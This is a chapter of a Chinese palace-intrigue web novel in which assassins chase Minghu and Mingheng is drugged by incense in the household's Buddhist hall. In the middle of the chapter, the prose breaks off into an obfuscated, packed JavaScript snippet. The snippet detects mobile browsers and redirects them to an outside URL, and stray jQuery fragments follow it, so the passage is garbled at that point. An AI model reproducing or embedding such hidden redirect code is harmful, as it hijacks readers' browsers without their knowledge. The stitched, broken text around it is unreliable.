56. 第 56 章

明枢有时自己也知道自己有些四体不勤、五谷不分,是个“书呆子”。


但就算是个真呆子,这时候也知道要跑了。


他顾不得许多转身就朝反方向跑去,心道虽然不知道这些人为什么要抓他,跑到人多的地方总不可能大庭广众之下还敢动手。


但他平日里并不怎么常来许家,前面的路还算记得,跑着跑着就不知道自己拐到哪里去了。


身后那几个追他的人眼见就要追上了,明枢只好硬着头皮继续跑——这一跑竟然又让他撞上了一拨人。虽说都穿着寻常衣服,用黑巾蒙着脸,和身后的管事相比也能瞧出一股匪气。


这几人一见明枢,立即抽出腰间的青钢刀,暴喝一声:“就是他,拿命来!”


“什——你们是什么人!留活口!”


明枢被吓得动弹不得,身后却传来那管事一声大喊,他被人从身后一拽,就见那管事举着匕首“叮”的一声挡下了青钢刀的刀锋。


蒙面人朝着中心的一个问道:“老大,可没听说他还有护卫!”


中心那矮壮的蒙面人厉声道:“管他的,全都杀了!”


一时间刀光剑影,你来我往,许家的管事要带明枢撤,黑衣刺客招招都直取他们性命根本退后不得。黑衣刺客想要对明枢一击毙命,又总被许家的护卫挡开。


一来二去,两边都杀得兴起,许家的护卫往地上吐出一口血沫子,恨声道:“敢来我们许家放肆,你们今天一个也别想走。”


黑衣刺客则粗哑一笑:“走?爷们儿收的买命钱,今天就没打算活着出去!拖了你们主子和你们一起陪葬,黄泉路上不算亏!”


话音刚落,红着眼睛就杀了上去,和许家的护卫都拿出了真功夫打得你死我活,眼见得就要血流成河……


而明枢早就被挤到了一旁呆立,除了灌得他一激灵的冷风再没人理会他了。


明枢原地怔愣了一会,见这两拨人都只顾着和对方厮杀,根本顾不上他,他试探着走了几步……然后拔足狂奔起来。


身后隐约传来了“大哥那狗王爷跑了”和“什么王爷,你们到底是干什么的”的声音,但明枢坚毅的只管狂奔,不去想这两句话背后有什么意味。


……虽然他隐约感觉到了,这里头应该是有些张冠李戴的故事。


-


明枢这边的打打杀杀尚且过了一段时间才传到明芩这里来。


鉴心湖众人纷纷落水之后,男宾们自有管事、小厮伺候着换了衣装不提,明芩一面吩咐厨房把驱寒的姜汤送去,一面传茶送水给受惊的女眷们压惊。


虽然真正亲眼目睹这出“惨剧”的长乐和明蘅两人,怎么看也不像是哪里受惊了。


长乐一想到当时的情景就乐得停不下来,明蘅听说明枢也落水了,本是有几分担心的,又听说沈宗芳早把他捞上来了,想来应当无事,也端着茶盏只管喝茶。


明芩暗地里咬了咬牙。


大哥被七王爷早早救起来也就罢了,该落水的七王爷好端端在干岸上站着,三王爷和钱鸣英倒是落水了。


三王妃一听三王爷落水就变了脸色,不顾她的安抚径直去照料三王爷了,她也不敢多说什么。


福安公主更是不得了,即便听了她再三作保钱鸣英一早就被救上了船,只是打湿了衣服仍旧大发雷霆,若不是福安公主此时还有要做的事——而且还用得着她——只怕早就拂袖而去了。


明芩知道福安公主不过是暂时按下怒气罢了,若是后头的事办不好,只怕新仇旧恨都要一起算到她身上。


她可不想顶这个缸。


明芩给绿腰使了个眼色,悄声道:“不是说大哥去换衣服的时候,就说家里进了贼寇,把他抓走了么?怎么还不来报信?”


绿腰哪里知道:“兴许是耽搁了些功夫?我去瞧瞧?”


明芩摇了摇头,绿腰此时走动太惹人注意了。至少……她总觉得明蘅在不动声色地窥视她。


主仆二人忧心忡忡的又等了一阵,终于跑来了个狼狈不堪的小厮跪倒在地:“不好了!不知道哪里来了一伙贼寇,在西厢房杀人了!”


刚刚镇定下来的女眷们又是一阵尖叫,明蘅和长乐对视了一眼,都没有做声。


明芩心中暗道“可算来了”,站起身来做出一副故作镇定的样子道:“诸位不必惊慌!许家自有护卫在,小小贼寇闯不进来。”


有位胆小的夫人尖声道:“大少奶奶说得容易,西厢房离这里算得多远?有一个漏网之鱼我等都难逃血光之灾!”


明芩连忙道:“确实如此!是我年轻,没想周到。不如……劳烦诸位跟我一同到佛堂避一避可好?那佛堂就在后头不远,用的是铁力木包的铜门,咱们进去把门一关,外头再不容易闯进来。”


女眷们自然纷纷叫好,跟着明芩就朝佛堂去了。明蘅心里有些犹豫,长乐过来拉了拉她,奇道:“怎么不走?”


这时节非要背道而驰就有些刻意了。况且这么多人都在佛堂里,能做得什么手脚?


明蘅笑了笑,和长乐也一道跟了上去。


许家和不信神佛的明家不同,听说从前的老夫人,如今的周氏,都是极信佛的。明蘅走进佛堂一看,整面墙上都以朱砂混了金箔画满了罗汉像,中间一尊观音像低眉垂目,结半跏趺坐于莲台之上,修得十分金碧辉煌。


女眷们见佛堂大门果然厚重牢坚,关了门也放心了些许,在这精美异常的佛堂里或走或坐,三三两两说起话来。


明芩时不时替她们说明几句,多是佛堂用了些何等名贵的材料:“……这紫铜八宝珐琅香炉是特意请了一位世外高僧亲手錾刻,但真正难得的是里头的香,是拿沉水香混了龙脑,这股子异香堪称沾衣不散,府里的丫头日日都要按时来换香,不得一丝松懈。”


明蘅本是随意听她说话,听着听着,只觉得香案上那袅绕的青烟越看越模糊,那股异香飘过来,闻得她如坠云雾,昏昏沉沉眼皮都要睁不开了。


长乐拍了拍她:“你也太心大了,到这儿来打瞌睡来了?”


明蘅晃了晃头,皱眉问道:“你不困么?”


“我困什么?这才什么时辰呢。”<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899447|172714||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>明蘅悄悄用力掐了自己几下,那种昏昏沉沉的感觉却全然没有消退。她暗道不好,自己只怕还是中了圈套。


正在此时,外头许家的下人隔着门道:“那伙贼寇业已伏诛,诸位贵客可以放心出来了。”


明芩让开了门就要出去,一转头看到明蘅站立不稳的样子,过来扶着她笑道:“王妃这是一放下心,人也撑不住了?不如去我屋里歇歇,七王爷要走时我自来叫你。”


明蘅脑后生寒,哪里敢去她的屋子,说不定是什么龙潭虎穴呢!她撑起精神道:“不必如此麻烦,不过是船上船下折腾累了。我就在这佛堂里坐坐,一会儿就好了。”


明芩还要再劝,但一屋子宾客还要安排,明蘅这样说了,她也不能硬是拖着明蘅走,只好松了手笑道:“也好。”转身就去拉着长乐先走。


长乐不放心地看了看明蘅:“我在这儿陪你吧,我看你兴许是晕船了?”


明芩又道:“若是如此,我到知道一个方子对晕船最有效果,我叫绿腰给王妃煮了来。”


明蘅一听更是心如擂鼓,拉着长乐急中生智道:“公主,我是陪你才去的船上晕成这样,你多少替我煮了药来,我就不跟你计较了,如何?”


“你这人,怎么还记仇起来了。”长乐“啧啧”连声,“行行行,我就去就是。”


说着就让明芩前面带路,真要去帮明蘅煮药。


明芩自然不好再说什么,和其他人一道出去了。明蘅这次赶忙抓了流霞的手,急切道:“只怕这次还是中了他们的圈套!你赶紧去找王爷,还不知他们后手是什么呢。”


流霞不敢耽搁,跌跌撞撞快步跑了出去。


她一走,明蘅更是困得撑不住,竟是坐都坐不稳了。


倾海连忙扶她靠上椅子道:“娘娘,撑不住你就睡会儿。我去门口守着不让人进来。”


明蘅甚至不清楚自己有没有对倾海点头,就这样陷入了昏迷之中。


-


这一连串变故,早先回了房的容梦溪都浑然不知。她还当一切都按最初的计划在进行,在床上已是昏昏欲睡了。


小喜和锦奴说了几句话,走进来叫醒了容梦溪:“二少奶奶,只怕事情有变。”


容梦溪立时清醒过来,坐起来细细听小喜把落水和贼寇之事说了。


“贼寇?许家高门大院,哪有这么容易进什么贼寇?这必定是许家又想了什么鬼蜮伎俩。”容梦溪喃喃道,“可闹这一出又不见伤了谁、少了谁,是想做什么?”


小喜摇头不知:“更麻烦的是,如今又是落水、又是进贼,想来宴会是开不成了。”


“那你和青棠……?”


“二少奶奶,这样的机会委实难得,我们再不甘心就这么放跑那姓钱的……我好歹要把我姐姐的尸骨被丢在了哪里找出来。”小喜说着说着,不觉滴下泪来,“如今虽然要冒险些,我和青棠还是想换个法子再试试。”


容梦溪沉吟了一阵,轻声道:“我不会劝你们不要冒险的。小喜,你们只管去。”


小喜跪下来轻轻磕了个头。